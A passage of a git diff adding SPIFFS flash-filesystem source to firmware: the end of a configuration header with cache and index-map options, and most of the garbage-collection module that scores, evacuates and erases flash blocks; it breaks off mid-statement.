+// The effects of the cache is that SPIFFS_open will find the file faster in +// certain cases. It will make it a lot easier for spiffs to find files +// opened frequently, reducing number of readings from the spi flash for +// finding those files. +// This will grow each fd by 6 bytes. If your files are opened in patterns +// with a degree of temporal locality, the system is optimized. +// Examples can be letting spiffs serve web content, where one file is the css. +// The css is accessed for each html file that is opened, meaning it is +// accessed almost every second time a file is opened. Another example could be +// a log file that is often opened, written, and closed. +// The size of the cache is number of given file descriptors, as it piggybacks +// on the fd update mechanism. The cache lives in the closed file descriptors. +// When closed, the fd know the whereabouts of the file. Instead of forgetting +// this, the temporal cache will keep handling updates to that file even if the +// fd is closed. If the file is opened again, the location of the file is found +// directly. If all available descriptors become opened, all cache memory is +// lost. +#ifndef SPIFFS_TEMPORAL_FD_CACHE +#define SPIFFS_TEMPORAL_FD_CACHE 1 +#endif + +// Temporal file cache hit score. Each time a file is opened, all cached files +// will lose one point. If the opened file is found in cache, that entry will +// gain SPIFFS_TEMPORAL_CACHE_HIT_SCORE points. One can experiment with this +// value for the specific access patterns of the application. However, it must +// be between 1 (no gain for hitting a cached entry often) and 255. +#ifndef SPIFFS_TEMPORAL_CACHE_HIT_SCORE +#define SPIFFS_TEMPORAL_CACHE_HIT_SCORE 4 +#endif + +// Enable to be able to map object indices to memory. +// This allows for faster and more deterministic reading if cases of reading +// large files and when changing file offset by seeking around a lot. +// When mapping a file's index, the file system will be scanned for index pages +// and the info will be put in memory provided by user. When reading, the +// memory map can be looked up instead of searching for index pages on the +// medium. This way, user can trade memory against performance. +// Whole, parts of, or future parts not being written yet can be mapped. The +// memory array will be owned by spiffs and updated accordingly during garbage +// collecting or when modifying the indices. The latter is invoked by when the +// file is modified in some way. The index buffer is tied to the file +// descriptor. +#ifndef SPIFFS_IX_MAP +#define SPIFFS_IX_MAP 1 +#endif + +// By default SPIFFS in some cases relies on the property of NOR flash that bits +// cannot be set from 0 to 1 by writing and that controllers will ignore such +// bit changes. This results in fewer reads as SPIFFS can in some cases perform +// blind writes, with all bits set to 1 and only those it needs reset set to 0. +// Most of the chips and controllers allow this behavior, so the default is to +// use this technique. If your controller is one of the rare ones that don't, +// turn this option on and SPIFFS will perform a read-modify-write instead. +#ifndef SPIFFS_NO_BLIND_WRITES +#define SPIFFS_NO_BLIND_WRITES 0 +#endif + +// Set SPIFFS_TEST_VISUALISATION to non-zero to enable SPIFFS_vis function +// in the api. This function will visualize all filesystem using given printf +// function. +#ifndef SPIFFS_TEST_VISUALISATION +#define SPIFFS_TEST_VISUALISATION 0 +#endif +#if SPIFFS_TEST_VISUALISATION +#ifndef spiffs_printf +#define spiffs_printf(...) Dbprintf(__VA_ARGS__) +#endif +// spiffs_printf argument for a free page +#ifndef SPIFFS_TEST_VIS_FREE_STR +#define SPIFFS_TEST_VIS_FREE_STR "_" +#endif +// spiffs_printf argument for a deleted page +#ifndef SPIFFS_TEST_VIS_DELE_STR +#define SPIFFS_TEST_VIS_DELE_STR "/" +#endif +// spiffs_printf argument for an index page for given object id +#ifndef SPIFFS_TEST_VIS_INDX_STR +#define SPIFFS_TEST_VIS_INDX_STR(id) "i" +#endif +// spiffs_printf argument for a data page for given object id +#ifndef SPIFFS_TEST_VIS_DATA_STR +#define SPIFFS_TEST_VIS_DATA_STR(id) "d" +#endif +#endif + +// Types depending on configuration such as the amount of flash bytes +// given to spiffs file system in total (spiffs_file_system_size), +// the logical block size (log_block_size), and the logical page size +// (log_page_size) + +// Block index type. Make sure the size of this type can hold +// the highest number of all blocks - i.e. spiffs_file_system_size / log_block_size +typedef u16_t spiffs_block_ix; +// Page index type. Make sure the size of this type can hold +// the highest page number of all pages - i.e. spiffs_file_system_size / log_page_size +typedef u16_t spiffs_page_ix; +// Object id type - most significant bit is reserved for index flag. Make sure the +// size of this type can hold the highest object id on a full system, +// i.e. 2 + (spiffs_file_system_size / (2*log_page_size))*2 +typedef u16_t spiffs_obj_id; +// Object span index type. Make sure the size of this type can +// hold the largest possible span index on the system - +// i.e. (spiffs_file_system_size / log_page_size) - 1 +typedef u16_t spiffs_span_ix; + +#endif /* SPIFFS_CONFIG_H_ */ diff --git a/armsrc/spiffs_gc.c b/armsrc/spiffs_gc.c new file mode 100644 index 000000000..76ff094c9 --- /dev/null +++ b/armsrc/spiffs_gc.c @@ -0,0 +1,606 @@ +#include "spiffs.h" +#include "spiffs_nucleus.h" + +#if !SPIFFS_READ_ONLY + +// Erases a logical block and updates the erase counter. +// If cache is enabled, all pages that might be cached in this block +// is dropped. +static s32_t spiffs_gc_erase_block( + spiffs *fs, + spiffs_block_ix bix) { + s32_t res; + + SPIFFS_GC_DBG("gc: erase block "_SPIPRIbl"\n", bix); + res = spiffs_erase_block(fs, bix); + SPIFFS_CHECK_RES(res); + +#if SPIFFS_CACHE + { + u32_t i; + for (i = 0; i < SPIFFS_PAGES_PER_BLOCK(fs); i++) { + spiffs_cache_drop_page(fs, SPIFFS_PAGE_FOR_BLOCK(fs, bix) + i); + } + } +#endif + return res; +} + +// Searches for blocks where all entries are deleted - if one is found, +// the block is erased. Compared to the non-quick gc, the quick one ensures +// that no updates are needed on existing objects on pages that are erased. +s32_t spiffs_gc_quick( + spiffs *fs, u16_t max_free_pages) { + s32_t res = SPIFFS_OK; + u32_t blocks = fs->block_count; + spiffs_block_ix cur_block = 0; + u32_t cur_block_addr = 0; + int cur_entry = 0; + spiffs_obj_id *obj_lu_buf = (spiffs_obj_id *)fs->lu_work; + + SPIFFS_GC_DBGF("gc_quick: running\n"); +#if SPIFFS_GC_STATS + fs->stats_gc_runs++; +#endif + + int entries_per_page = (SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(spiffs_obj_id)); + + // find fully deleted blocks + // check each block + while (res == SPIFFS_OK && blocks--) { + u16_t deleted_pages_in_block = 0; + u16_t free_pages_in_block = 0; + + int obj_lookup_page = 0; + // check each object lookup page + while (res == SPIFFS_OK && obj_lookup_page < (int)SPIFFS_OBJ_LOOKUP_PAGES(fs)) { + int entry_offset = obj_lookup_page * entries_per_page; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, cur_block_addr + SPIFFS_PAGE_TO_PADDR(fs, obj_lookup_page), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + // check each entry + while (res == SPIFFS_OK && + cur_entry - entry_offset < entries_per_page && + cur_entry < (int)(SPIFFS_PAGES_PER_BLOCK(fs) - SPIFFS_OBJ_LOOKUP_PAGES(fs))) { + spiffs_obj_id obj_id = obj_lu_buf[cur_entry - entry_offset]; + if (obj_id == SPIFFS_OBJ_ID_DELETED) { + deleted_pages_in_block++; + } else if (obj_id == SPIFFS_OBJ_ID_FREE) { + // kill scan, go for next block + free_pages_in_block++; + if (free_pages_in_block > max_free_pages) { + obj_lookup_page = SPIFFS_OBJ_LOOKUP_PAGES(fs); + res = 1; // kill object lu loop + break; + } + } else { + // kill scan, go for next block + obj_lookup_page = SPIFFS_OBJ_LOOKUP_PAGES(fs); + res = 1; // kill object lu loop + break; + } + cur_entry++; + } // per entry + obj_lookup_page++; + } // per object lookup page + if (res == 1) res = SPIFFS_OK; + + if (res == SPIFFS_OK && + deleted_pages_in_block + free_pages_in_block == SPIFFS_PAGES_PER_BLOCK(fs) - SPIFFS_OBJ_LOOKUP_PAGES(fs) && + free_pages_in_block <= max_free_pages) { + // found a fully deleted block + fs->stats_p_deleted -= deleted_pages_in_block; + res = spiffs_gc_erase_block(fs, cur_block); + return res; + } + + cur_entry = 0; + cur_block++; + cur_block_addr += SPIFFS_CFG_LOG_BLOCK_SZ(fs); + } // per block + + if (res == SPIFFS_OK) { + res = SPIFFS_ERR_NO_DELETED_BLOCKS; + } + return res; +} + +// Checks if garbage collecting is necessary. If so a candidate block is found, +// cleansed and erased +s32_t spiffs_gc_check( + spiffs *fs, + u32_t len) { + s32_t res; + s32_t free_pages = + (SPIFFS_PAGES_PER_BLOCK(fs) - SPIFFS_OBJ_LOOKUP_PAGES(fs)) * (fs->block_count - 2) + - fs->stats_p_allocated - fs->stats_p_deleted; + int tries = 0; + + if (fs->free_blocks > 3 && + (s32_t)len < free_pages * (s32_t)SPIFFS_DATA_PAGE_SIZE(fs)) { + return SPIFFS_OK; + } + + u32_t needed_pages = (len + SPIFFS_DATA_PAGE_SIZE(fs) - 1) / SPIFFS_DATA_PAGE_SIZE(fs); +// if (fs->free_blocks <= 2 && (s32_t)needed_pages > free_pages) { +// SPIFFS_GC_DBG("gc: full freeblk:"_SPIPRIi" needed:"_SPIPRIi" free:"_SPIPRIi" dele:"_SPIPRIi"\n", fs->free_blocks, needed_pages, free_pages, fs->stats_p_deleted); +// return SPIFFS_ERR_FULL; +// } + if ((s32_t)needed_pages > (s32_t)(free_pages + fs->stats_p_deleted)) { + SPIFFS_GC_DBG("gc_check: full freeblk:"_SPIPRIi" needed:"_SPIPRIi" free:"_SPIPRIi" dele:"_SPIPRIi"\n", fs->free_blocks, needed_pages, free_pages, fs->stats_p_deleted); + return SPIFFS_ERR_FULL; + } + + do { + SPIFFS_GC_DBG("\ngc_check #"_SPIPRIi": run gc free_blocks:"_SPIPRIi" pfree:"_SPIPRIi" pallo:"_SPIPRIi" pdele:"_SPIPRIi" ["_SPIPRIi"] len:"_SPIPRIi" of "_SPIPRIi"\n", + tries, + fs->free_blocks, free_pages, fs->stats_p_allocated, fs->stats_p_deleted, (free_pages + fs->stats_p_allocated + fs->stats_p_deleted), + len, (u32_t)(free_pages * SPIFFS_DATA_PAGE_SIZE(fs))); + + spiffs_block_ix *cands; + int count; + spiffs_block_ix cand; + s32_t prev_free_pages = free_pages; + // if the fs is crammed, ignore block age when selecting candidate - kind of a bad state + res = spiffs_gc_find_candidate(fs, &cands, &count, free_pages <= 0); + SPIFFS_CHECK_RES(res); + if (count == 0) { + SPIFFS_GC_DBGF("gc_check: no candidates, return\n"); + return (s32_t)needed_pages < free_pages ? SPIFFS_OK : SPIFFS_ERR_FULL; + } +#if SPIFFS_GC_STATS + fs->stats_gc_runs++; +#endif + cand = cands[0]; + fs->cleaning = 1; + //SPIFFS_GC_DBG("gcing: cleaning block "_SPIPRIi"\n", cand); + res = spiffs_gc_clean(fs, cand); + fs->cleaning = 0; + if (res < 0) { + SPIFFS_GC_DBG("gc_check: cleaning block "_SPIPRIi", result "_SPIPRIi"\n", cand, res); + } else { + SPIFFS_GC_DBG("gc_check: cleaning block "_SPIPRIi", result "_SPIPRIi"\n", cand, res); + } + SPIFFS_CHECK_RES(res); + + res = spiffs_gc_erase_page_stats(fs, cand); + SPIFFS_CHECK_RES(res); + + res = spiffs_gc_erase_block(fs, cand); + SPIFFS_CHECK_RES(res); + + free_pages = + (SPIFFS_PAGES_PER_BLOCK(fs) - SPIFFS_OBJ_LOOKUP_PAGES(fs)) * (fs->block_count - 2) + - fs->stats_p_allocated - fs->stats_p_deleted; + + if (prev_free_pages <= 0 && prev_free_pages == free_pages) { + // abort early to reduce wear, at least tried once + SPIFFS_GC_DBGF("gc_check: early abort, no result on gc when fs crammed\n"); + break; + } + + } while (++tries < SPIFFS_GC_MAX_RUNS && (fs->free_blocks <= 2 || + (s32_t)len > free_pages * (s32_t)SPIFFS_DATA_PAGE_SIZE(fs))); + + free_pages = + (SPIFFS_PAGES_PER_BLOCK(fs) - SPIFFS_OBJ_LOOKUP_PAGES(fs)) * (fs->block_count - 2) + - fs->stats_p_allocated - fs->stats_p_deleted; + if ((s32_t)len > free_pages * (s32_t)SPIFFS_DATA_PAGE_SIZE(fs)) { + res = SPIFFS_ERR_FULL; + } + + SPIFFS_GC_DBG("gc_check: finished, "_SPIPRIi" dirty, blocks "_SPIPRIi" free, "_SPIPRIi" pages free, "_SPIPRIi" tries, res "_SPIPRIi"\n", + fs->stats_p_allocated + fs->stats_p_deleted, + fs->free_blocks, free_pages, tries, res); + + return res; +} + +// Updates page statistics for a block that is about to be erased +s32_t spiffs_gc_erase_page_stats( + spiffs *fs, + spiffs_block_ix bix) { + s32_t res = SPIFFS_OK; + int obj_lookup_page = 0; + int entries_per_page = (SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(spiffs_obj_id)); + spiffs_obj_id *obj_lu_buf = (spiffs_obj_id *)fs->lu_work; + int cur_entry = 0; + u32_t dele = 0; + u32_t allo = 0; + + // check each object lookup page + while (res == SPIFFS_OK && obj_lookup_page < (int)SPIFFS_OBJ_LOOKUP_PAGES(fs)) { + int entry_offset = obj_lookup_page * entries_per_page; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, bix * SPIFFS_CFG_LOG_BLOCK_SZ(fs) + SPIFFS_PAGE_TO_PADDR(fs, obj_lookup_page), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + // check each entry + while (res == SPIFFS_OK && + cur_entry - entry_offset < entries_per_page && cur_entry < (int)(SPIFFS_PAGES_PER_BLOCK(fs) - SPIFFS_OBJ_LOOKUP_PAGES(fs))) { + spiffs_obj_id obj_id = obj_lu_buf[cur_entry - entry_offset]; + if (obj_id == SPIFFS_OBJ_ID_FREE) { + } else if (obj_id == SPIFFS_OBJ_ID_DELETED) { + dele++; + } else { + allo++; + } + cur_entry++; + } // per entry + obj_lookup_page++; + } // per object lookup page + SPIFFS_GC_DBG("gc_check: wipe pallo:"_SPIPRIi" pdele:"_SPIPRIi"\n", allo, dele); + fs->stats_p_allocated -= allo; + fs->stats_p_deleted -= dele; + return res; +} + +// Finds block candidates to erase +s32_t spiffs_gc_find_candidate( + spiffs *fs, + spiffs_block_ix **block_candidates, + int *candidate_count, + char fs_crammed) { + s32_t res = SPIFFS_OK; + u32_t blocks = fs->block_count; + spiffs_block_ix cur_block = 0; + u32_t cur_block_addr = 0; + spiffs_obj_id *obj_lu_buf = (spiffs_obj_id *)fs->lu_work; + int cur_entry = 0; + + // using fs->work area as sorted candidate memory, (spiffs_block_ix)cand_bix/(s32_t)score + int max_candidates = MIN(fs->block_count, (SPIFFS_CFG_LOG_PAGE_SZ(fs) - 8) / (sizeof(spiffs_block_ix) + sizeof(s32_t))); + *candidate_count = 0; + memset(fs->work, 0xff, SPIFFS_CFG_LOG_PAGE_SZ(fs)); + + // divide up work area into block indices and scores + spiffs_block_ix *cand_blocks = (spiffs_block_ix *)fs->work; + s32_t *cand_scores = (s32_t *)(fs->work + max_candidates * sizeof(spiffs_block_ix)); + + // align cand_scores on s32_t boundary + cand_scores = (s32_t *)(((intptr_t)cand_scores + sizeof(intptr_t) - 1) & ~(sizeof(intptr_t) - 1)); + + *block_candidates = cand_blocks; + + int entries_per_page = (SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(spiffs_obj_id)); + + // check each block + while (res == SPIFFS_OK && blocks--) { + u16_t deleted_pages_in_block = 0; + u16_t used_pages_in_block = 0; + + int obj_lookup_page = 0; + // check each object lookup page + while (res == SPIFFS_OK && obj_lookup_page < (int)SPIFFS_OBJ_LOOKUP_PAGES(fs)) { + int entry_offset = obj_lookup_page * entries_per_page; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, cur_block_addr + SPIFFS_PAGE_TO_PADDR(fs, obj_lookup_page), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + // check each entry + while (res == SPIFFS_OK && + cur_entry - entry_offset < entries_per_page && + cur_entry < (int)(SPIFFS_PAGES_PER_BLOCK(fs) - SPIFFS_OBJ_LOOKUP_PAGES(fs))) { + spiffs_obj_id obj_id = obj_lu_buf[cur_entry - entry_offset]; + if (obj_id == SPIFFS_OBJ_ID_FREE) { + // when a free entry is encountered, scan logic ensures that all following entries are free also + res = 1; // kill object lu loop + break; + } else if (obj_id == SPIFFS_OBJ_ID_DELETED) { + deleted_pages_in_block++; + } else { + used_pages_in_block++; + } + cur_entry++; + } // per entry + obj_lookup_page++; + } // per object lookup page + if (res == 1) res = SPIFFS_OK; + + // calculate score and insert into candidate table + // stoneage sort, but probably not so many blocks + if (res == SPIFFS_OK /*&& deleted_pages_in_block > 0*/) { + // read erase count + spiffs_obj_id erase_count; + res = _spiffs_rd(fs, SPIFFS_OP_C_READ | SPIFFS_OP_T_OBJ_LU2, 0, + SPIFFS_ERASE_COUNT_PADDR(fs, cur_block), + sizeof(spiffs_obj_id), (u8_t *)&erase_count); + SPIFFS_CHECK_RES(res); + + spiffs_obj_id erase_age; + if (fs->max_erase_count > erase_count) { + erase_age = fs->max_erase_count - erase_count; + } else { + erase_age = SPIFFS_OBJ_ID_FREE - (erase_count - fs->max_erase_count); + } + + s32_t score = + deleted_pages_in_block * SPIFFS_GC_HEUR_W_DELET + + used_pages_in_block * SPIFFS_GC_HEUR_W_USED + + erase_age * (fs_crammed ? 0 : SPIFFS_GC_HEUR_W_ERASE_AGE); + int cand_ix = 0; + SPIFFS_GC_DBG("gc_check: bix:"_SPIPRIbl" del:"_SPIPRIi" use:"_SPIPRIi" score:"_SPIPRIi"\n", cur_block, deleted_pages_in_block, used_pages_in_block, score); + while (cand_ix < max_candidates) { + if (cand_blocks[cand_ix] == (spiffs_block_ix) - 1) { + cand_blocks[cand_ix] = cur_block; + cand_scores[cand_ix] = score; + break; + } else if (cand_scores[cand_ix] < score) { + int reorder_cand_ix = max_candidates - 2; + while (reorder_cand_ix >= cand_ix) { + cand_blocks[reorder_cand_ix + 1] = cand_blocks[reorder_cand_ix]; + cand_scores[reorder_cand_ix + 1] = cand_scores[reorder_cand_ix]; + reorder_cand_ix--; + } + cand_blocks[cand_ix] = cur_block; + cand_scores[cand_ix] = score; + break; + } + cand_ix++; + } + (*candidate_count)++; + } + + cur_entry = 0; + cur_block++; + cur_block_addr += SPIFFS_CFG_LOG_BLOCK_SZ(fs); + } // per block + + return res; +} + +typedef enum { + FIND_OBJ_DATA, + MOVE_OBJ_DATA, + MOVE_OBJ_IX, + FINISHED +} spiffs_gc_clean_state; + +typedef struct { + spiffs_gc_clean_state state; + spiffs_obj_id cur_obj_id; + spiffs_span_ix cur_objix_spix; + spiffs_page_ix cur_objix_pix; + spiffs_page_ix cur_data_pix; + int stored_scan_entry_index; + u8_t obj_id_found; +} spiffs_gc; + +// Empties given block by moving all data into free pages of another block +// Strategy: +// loop: +// scan object lookup for object data pages +// for first found id, check spix and load corresponding object index page to memory +// push object scan lookup entry index +// rescan object lookup, find data pages with same id and referenced by same object index +// move data page, update object index in memory +// when reached end of lookup, store updated object index +// pop object scan lookup entry index +// repeat loop until end of object lookup +// scan object lookup again for remaining object index pages, move to new page in other block +// +s32_t spiffs_gc_clean(spiffs *fs, spiffs_block_ix bix) { + s32_t res = SPIFFS_OK; + const int entries_per_page = (SPIFFS_CFG_LOG_PAGE_SZ(fs) / sizeof(spiffs_obj_id)); + // this is the global localizer being pushed and popped + int cur_entry = 0; + spiffs_obj_id *obj_lu_buf = (spiffs_obj_id *)fs->lu_work; + spiffs_gc gc; // our stack frame/state + spiffs_page_ix cur_pix = 0; + spiffs_page_object_ix_header *objix_hdr = (spiffs_page_object_ix_header *)fs->work; + spiffs_page_object_ix *objix = (spiffs_page_object_ix *)fs->work; + + SPIFFS_GC_DBG("gc_clean: cleaning block "_SPIPRIbl"\n", bix); + + memset(&gc, 0, sizeof(spiffs_gc)); + gc.state = FIND_OBJ_DATA; + + if (fs->free_cursor_block_ix == bix) { + // move free cursor to next block, cannot use free pages from the block we want to clean + fs->free_cursor_block_ix = (bix + 1) % fs->block_count; + fs->free_cursor_obj_lu_entry = 0; + SPIFFS_GC_DBG("gc_clean: move free cursor to block "_SPIPRIbl"\n", fs->free_cursor_block_ix); + } + + while (res == SPIFFS_OK && gc.state != FINISHED) { + SPIFFS_GC_DBG("gc_clean: state = "_SPIPRIi" entry:"_SPIPRIi"\n", gc.state, cur_entry); + gc.obj_id_found = 0; // reset (to no found data page) + + // scan through lookup pages + int obj_lookup_page = cur_entry / entries_per_page; + u8_t scan = 1; + // check each object lookup page + while (scan && res == SPIFFS_OK && obj_lookup_page < (int)SPIFFS_OBJ_LOOKUP_PAGES(fs)) { + int entry_offset = obj_lookup_page * entries_per_page; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, bix * SPIFFS_CFG_LOG_BLOCK_SZ(fs) + SPIFFS_PAGE_TO_PADDR(fs, obj_lookup_page), + SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + // check each object lookup entry + while (scan && res == SPIFFS_OK && + cur_entry - entry_offset < entries_per_page && cur_entry < (int)(SPIFFS_PAGES_PER_BLOCK(fs) - SPIFFS_OBJ_LOOKUP_PAGES(fs))) { + spiffs_obj_id obj_id = obj_lu_buf[cur_entry - entry_offset]; + cur_pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, cur_entry); + + // act upon object id depending on gc state + switch (gc.state) { + case FIND_OBJ_DATA: + // find a data page + if (obj_id != SPIFFS_OBJ_ID_DELETED && obj_id != SPIFFS_OBJ_ID_FREE && + ((obj_id & SPIFFS_OBJ_ID_IX_FLAG) == 0)) { + // found a data page, stop scanning and handle in switch case below + SPIFFS_GC_DBG("gc_clean: FIND_DATA state:"_SPIPRIi" - found obj id "_SPIPRIid"\n", gc.state, obj_id); + gc.obj_id_found = 1; + gc.cur_obj_id = obj_id; + gc.cur_data_pix = cur_pix; + scan = 0; + } + break; + case MOVE_OBJ_DATA: + // evacuate found data pages for corresponding object index we have in memory, + // update memory representation + if (obj_id == gc.cur_obj_id) { + spiffs_page_header p_hdr; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, cur_pix), sizeof(spiffs_page_header), (u8_t *)&p_hdr); + SPIFFS_CHECK_RES(res); + SPIFFS_GC_DBG("gc_clean: MOVE_DATA found data page "_SPIPRIid":"_SPIPRIsp" @ "_SPIPRIpg"\n", gc.cur_obj_id, p_hdr.span_ix, cur_pix); + if (SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, p_hdr.span_ix) != gc.cur_objix_spix) { + SPIFFS_GC_DBGF("gc_clean: MOVE_DATA no objix spix match, take in another run\n"); + } else { + spiffs_page_ix new_data_pix; + if (p_hdr.flags & SPIFFS_PH_FLAG_DELET) { + // move page + res = spiffs_page_move(fs, 0, 0, obj_id, &p_hdr, cur_pix, &new_data_pix); + SPIFFS_GC_DBG("gc_clean: MOVE_DATA move objix "_SPIPRIid":"_SPIPRIsp" page "_SPIPRIpg" to "_SPIPRIpg"\n", gc.cur_obj_id, p_hdr.span_ix, cur_pix, new_data_pix); + SPIFFS_CHECK_RES(res); + // move wipes obj_lu, reload it + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, bix * SPIFFS_CFG_LOG_BLOCK_SZ(fs) + SPIFFS_PAGE_TO_PADDR(fs, obj_lookup_page), + SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + SPIFFS_CHECK_RES(res); + } else { + // page is deleted but not deleted in lookup, scrap it - + // might seem unnecessary as we will erase this block, but + // we might get aborted + SPIFFS_GC_DBG("gc_clean: MOVE_DATA wipe objix "_SPIPRIid":"_SPIPRIsp" page "_SPIPRIpg"\n", obj_id, p_hdr.span_ix, cur_pix); + res = spiffs_page_delete(fs, cur_pix); + SPIFFS_CHECK_RES(res); + new_data_pix = SPIFFS_OBJ_ID_FREE; + } + // update memory representation of object index page with new data page + if (gc.cur_objix_spix == 0) { + // update object index header page + ((spiffs_page_ix *)((u8_t *)objix_hdr + sizeof(spiffs_page_object_ix_header)))[p_hdr.span_ix] = new_data_pix; + SPIFFS_GC_DBG("gc_clean: MOVE_DATA wrote page "_SPIPRIpg" to objix_hdr entry "_SPIPRIsp" in mem\n", new_data_pix, (spiffs_span_ix)SPIFFS_OBJ_IX_ENTRY(fs, p_hdr.span_ix)); + } else { + // update object index page + ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, p_hdr.span_ix)] = new_data_pix; + SPIFFS_GC_DBG("gc_clean: MOVE_DATA wrote page "_SPIPRIpg" to objix entry "_SPIPRIsp" in mem\n", new_data_pix, (spiffs_span_ix)SPIFFS_OBJ_IX_ENTRY(fs, p_hdr.span_ix)); + } + } + } + break; + case MOVE_OBJ_IX: + // find and evacuate object index pages + if (obj_id != SPIFFS_OBJ_ID_DELETED && obj_id != SPIFFS_OBJ_ID_FREE && + (obj_id & SPIFFS_OBJ_ID_IX_FLAG)) { + // found an index object id + spiffs_page_header p_hdr; + spiffs_page_ix new_pix; + // load header + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, cur_pix), sizeof(spiffs_page_header), (u8_t *)&p_hdr); + SPIFFS_CHECK_RES(res); + if (p_hdr.flags & SPIFFS_PH_FLAG_DELET) { + // move page + res = spiffs_page_move(fs, 0, 0, obj_id, &p_hdr, cur_pix, &new_pix); + SPIFFS_GC_DBG("gc_clean: MOVE_OBJIX move objix "_SPIPRIid":"_SPIPRIsp" page "_SPIPRIpg" to "_SPIPRIpg"\n", obj_id, p_hdr.span_ix, cur_pix, new_pix); + SPIFFS_CHECK_RES(res); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)&p_hdr, + SPIFFS_EV_IX_MOV, obj_id, p_hdr.span_ix, new_pix, 0); + // move wipes obj_lu, reload it + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_READ, + 0, bix * SPIFFS_CFG_LOG_BLOCK_SZ(fs) + SPIFFS_PAGE_TO_PADDR(fs, obj_lookup_page), + SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->lu_work); + SPIFFS_CHECK_RES(res); + } else { + // page is deleted but not deleted in lookup, scrap it - + // might seem unnecessary as we will erase this block, but + // we might get aborted + SPIFFS_GC_DBG("gc_clean: MOVE_OBJIX wipe objix "_SPIPRIid":"_SPIPRIsp" page "_SPIPRIpg"\n", obj_id, p_hdr.span_ix, cur_pix); + res = spiffs_page_delete(fs, cur_pix); + if (res == SPIFFS_OK) { + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)0, + SPIFFS_EV_IX_DEL, obj_id, p_hdr.span_ix, cur_pix, 0); + } + } + SPIFFS_CHECK_RES(res); + } + break; + default: + scan = 0; + break; + } // switch gc state + cur_entry++; + } // per entry + obj_lookup_page++; // no need to check scan variable here, obj_lookup_page is set in start of loop + } // per object lookup page + if (res != SPIFFS_OK) break; + + // state finalization and switch + switch (gc.state) { + case FIND_OBJ_DATA: + if (gc.obj_id_found) { + // handle found data page - + // find out corresponding obj ix page and load it to memory + spiffs_page_header p_hdr; + spiffs_page_ix objix_pix; + gc.stored_scan_entry_index = cur_entry; // push cursor + cur_entry = 0; // restart scan from start + gc.state = MOVE_OBJ_DATA; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, cur_pix), sizeof(spiffs_page_header), (u8_t *)&p_hdr); + SPIFFS_CHECK_RES(res); + gc.cur_objix_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, p_hdr.span_ix); + SPIFFS_GC_DBG("gc_clean: FIND_DATA find objix span_ix:"_SPIPRIsp"\n", gc.cur_objix_spix); + res = spiffs_obj_lu_find_id_and_span(fs, gc.cur_obj_id | SPIFFS_OBJ_ID_IX_FLAG, gc.cur_objix_spix, 0, &objix_pix); + if (res == SPIFFS_ERR_NOT_FOUND) { + // on borked systems we might get an ERR_NOT_FOUND here - + // this is handled by simply deleting the page as it is not referenced + // from anywhere + SPIFFS_GC_DBG("gc_clean: FIND_OBJ_DATA objix not found! Wipe page "_SPIPRIpg"\n", gc.cur_data_pix); + res = spiffs_page_delete(fs, gc.cur_data_pix); + SPIFFS_CHECK_RES(res); + // then we restore states and continue scanning for data pages + cur_entry = gc.stored_scan_entry_index; // pop cursor + gc.state = FIND_OBJ_DATA; + break; // done + } + SPIFFS_CHECK_RES(res); + SPIFFS_GC_DBG("gc_clean: FIND_DATA found object index at page "_SPIPRIpg"\n", objix_pix); + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, objix_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res); + // cannot allow a gc if the presumed index in fact is no index, a + // check must run or lot of data may be lost + SPIFFS_VALIDATE_OBJIX(objix->p_hdr, gc.cur_obj_id | SPIFFS_OBJ_ID_IX_FLAG, gc.cur_objix_spix); + gc.cur_objix_pix = objix_pix; + } else { + // no more data pages found, passed thru all block, start evacuating object indices + gc.state = MOVE_OBJ_IX; + cur_entry = 0; // restart entry scan index + } + break; + case MOVE_OBJ_DATA: { + // store modified objix (hdr) page residing in memory now that all + // data pages belonging to this object index and residing in the block + // we want to evacuate + spiffs_page_ix new_objix_pix; + gc.state = FIND_OBJ_DATA; + cur_entry = gc.stored_scan_entry_index; // pop cursor + if (gc.cur_objix_spix == 0) { + // store object index header page + res = spiffs_object_update_index_hdr(fs, 0, gc.cur_obj_id | SPIFFS_OBJ_ID_IX_FLAG, gc.cur_objix_pix, fs->work, 0, 0, 0, &new_objix_pix); + SPIFFS_GC_DBG("gc_clean: MOVE_DATA store modified objix_hdr page, "_SPIPRIpg":"_SPIPRIsp"\n", new_objix_pix, 0); + SPIFFS_CHECK_RES(res); + } else { + // store object index page + res = spiffs_page_move(fs, 0, fs->work, gc.cur_obj_id | 